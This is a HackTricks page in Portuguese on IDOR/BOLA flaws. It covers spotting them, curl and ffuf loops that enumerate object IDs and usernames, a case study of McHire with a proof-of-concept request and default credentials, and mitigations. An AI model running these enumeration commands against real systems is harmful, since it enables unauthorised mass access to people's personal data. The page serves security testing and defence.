IDOR (Insecure Direct Object Reference)

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks

IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) aparece quando um endpoint web ou API revela ou aceita um identificador controlável pelo usuário que é usado diretamente para acessar um objeto interno sem verificar se o solicitante está autorizado a acessar/modificar esse objeto. A exploração bem-sucedida normalmente permite escalonamento de privilégios horizontal ou vertical, como ler ou modificar dados de outros usuários e, no pior caso, takeover completo de conta ou exfiltração massiva de dados.


1. Identificando IDORs potenciais

  1. Procure por parâmetros que fazem referência a um objeto:
  • Path: /api/user/1234, /files/550e8400-e29b-41d4-a716-446655440000
  • Query: ?id=42, ?invoice=2024-00001
  • Body / JSON: {"user_id": 321, "order_id": 987}
  • Headers / Cookies: X-Client-ID: 4711
  1. Prefira endpoints que leem ou atualizam dados (GET, PUT, PATCH, DELETE).
  2. Observe quando identificadores são sequenciais ou previsíveis – se seu ID é 64185742, então 64185741 provavelmente existe.
  3. Explore fluxos ocultos ou alternativos (ex.: link “Paradox team members” em páginas de login) que podem expor APIs extras.
  4. Use uma sessão autenticada de baixo privilégio e altere apenas o ID mantendo o mesmo token/cookie. A ausência de um erro de autorização é geralmente um sinal de IDOR.

Quick manual tampering (Burp Repeater)

PUT /api/lead/cem-xhr HTTP/1.1
Host: www.example.com
Cookie: auth=eyJhbGciOiJIUzI1NiJ9...
Content-Type: application/json

{"lead_id":64185741}

Enumeração automatizada (Burp Intruder / curl loop)

for id in $(seq 64185742 64185700); do
curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-H "Cookie: auth=$TOKEN" \
-d '{"lead_id":'"$id"'}' | jq -e '.email' && echo "Hit $id";
done

Enumerando IDs de download previsíveis (ffuf)

Painéis autenticados de hospedagem de arquivos frequentemente armazenam metadados por usuário em uma única tabela files e expõem um endpoint de download como /download.php?id=<int>. Se o handler apenas verifica se o ID existe (e não se pertence ao usuário autenticado), você pode varrer o espaço de inteiros com seu cookie de sessão válido e roubar os backups/configs de outros tenants:

ffuf -u http://file.era.htb/download.php?id=FUZZ \
-H "Cookie: PHPSESSID=<session>" \
-w <(seq 0 6000) \
-fr 'File Not Found' \
-o hits.json
jq -r '.results[].url' hits.json    # fetch surviving IDs such as company backups or signing keys
  • -fr remove templates estilo 404 para que apenas true hits permaneçam (e.g., IDs 54/150 leaking full site backups and signing material).
  • O mesmo fluxo de trabalho do FFUF funciona com Burp Intruder ou um loop curl — apenas garanta que você permaneça autenticado enquanto incrementa os IDs.

Oráculo de resposta de erro para enumeração de usuários/arquivos

Quando um endpoint de download aceita tanto um username quanto um filename (e.g. /view.php?username=<u>&file=<f>), diferenças sutis nas mensagens de erro frequentemente criam um oráculo:

  • Non-existent username → “User not found”
  • Bad filename but valid extension → “File does not exist” (sometimes also lists available files)
  • Bad extension → validation error

Com qualquer sessão autenticada, você pode fuzzar o parâmetro username enquanto mantém um filename benigno e filtrar pela string “user not found” para descobrir usuários válidos:

ffuf -u 'http://target/view.php?username=FUZZ&file=test.doc' \
-b 'PHPSESSID=<session-cookie>' \
-w /opt/SecLists/Usernames/Names/names.txt \
-fr 'User not found'

Depois que nomes de usuário válidos são identificados, solicite arquivos específicos diretamente (por exemplo, /view.php?username=amanda&file=privacy.odt). Esse padrão costuma levar à divulgação não autorizada dos documentos de outros usuários e credential leakage.


2. Estudo de Caso do Mundo Real – Plataforma de Chatbot McHire (2025)

Durante uma avaliação do portal de recrutamento McHire, alimentado pela Paradox.ai, o seguinte IDOR foi descoberto:

  • Endpoint: PUT /api/lead/cem-xhr
  • Authorization: cookie de sessão de usuário para qualquer conta de teste de restaurante
  • Body parameter: {"lead_id": N} – identificador numérico de 8 dígitos, sequencial

Ao decrementar lead_id, o testador recuperou PII completa de candidatos arbitrários (nome, e-mail, telefone, endereço, preferências de turno) além de um JWT de consumidor que permitiu session hijacking. A enumeração do intervalo 1 – 64,185,742 expôs aproximadamente 64 milhões de registros.

Requisição Proof-of-Concept:

curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-d '{"lead_id":64185741}'

Combinada com default admin credentials (123456:123456) que concediam acesso à conta de teste, a vulnerabilidade resultou em uma violação de dados crítica em toda a empresa.


3. Impacto de IDOR / BOLA

  • Escalada horizontal – ler/atualizar/excluir dados de outros usuários.
  • Escalada vertical – um usuário com privilégios baixos obtém funcionalidade exclusiva para admin.
  • Vazamento massivo de dados se os identificadores forem sequenciais (por exemplo, IDs de candidatos, faturas).
  • Tomada de conta ao roubar tokens ou redefinir senhas de outros usuários.

4. Mitigações & Best Practices

  1. Implemente autorização a nível de objeto em cada requisição (user_id == session.user).
  2. Prefira identificadores indiretos e imprevisíveis (UUIDv4, ULID) em vez de IDs auto-incrementais.
  3. Execute a autorização no servidor, nunca confie em campos de formulário ocultos ou controles de UI.
  4. Implemente checagens RBAC / ABAC em um middleware central.
  5. Adicione rate-limiting & logging para detectar enumeração de IDs.
  6. Teste de segurança todo novo endpoint (unit, integration e DAST).

5. Ferramentas

  • Extensões do BurpSuite: Authorize, Auto Repeater, Turbo Intruder.
  • OWASP ZAP: Auth Matrix, Forced Browse.
  • Projetos GitHub: bwapp-idor-scanner, Blindy (busca em massa de IDOR).

References

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks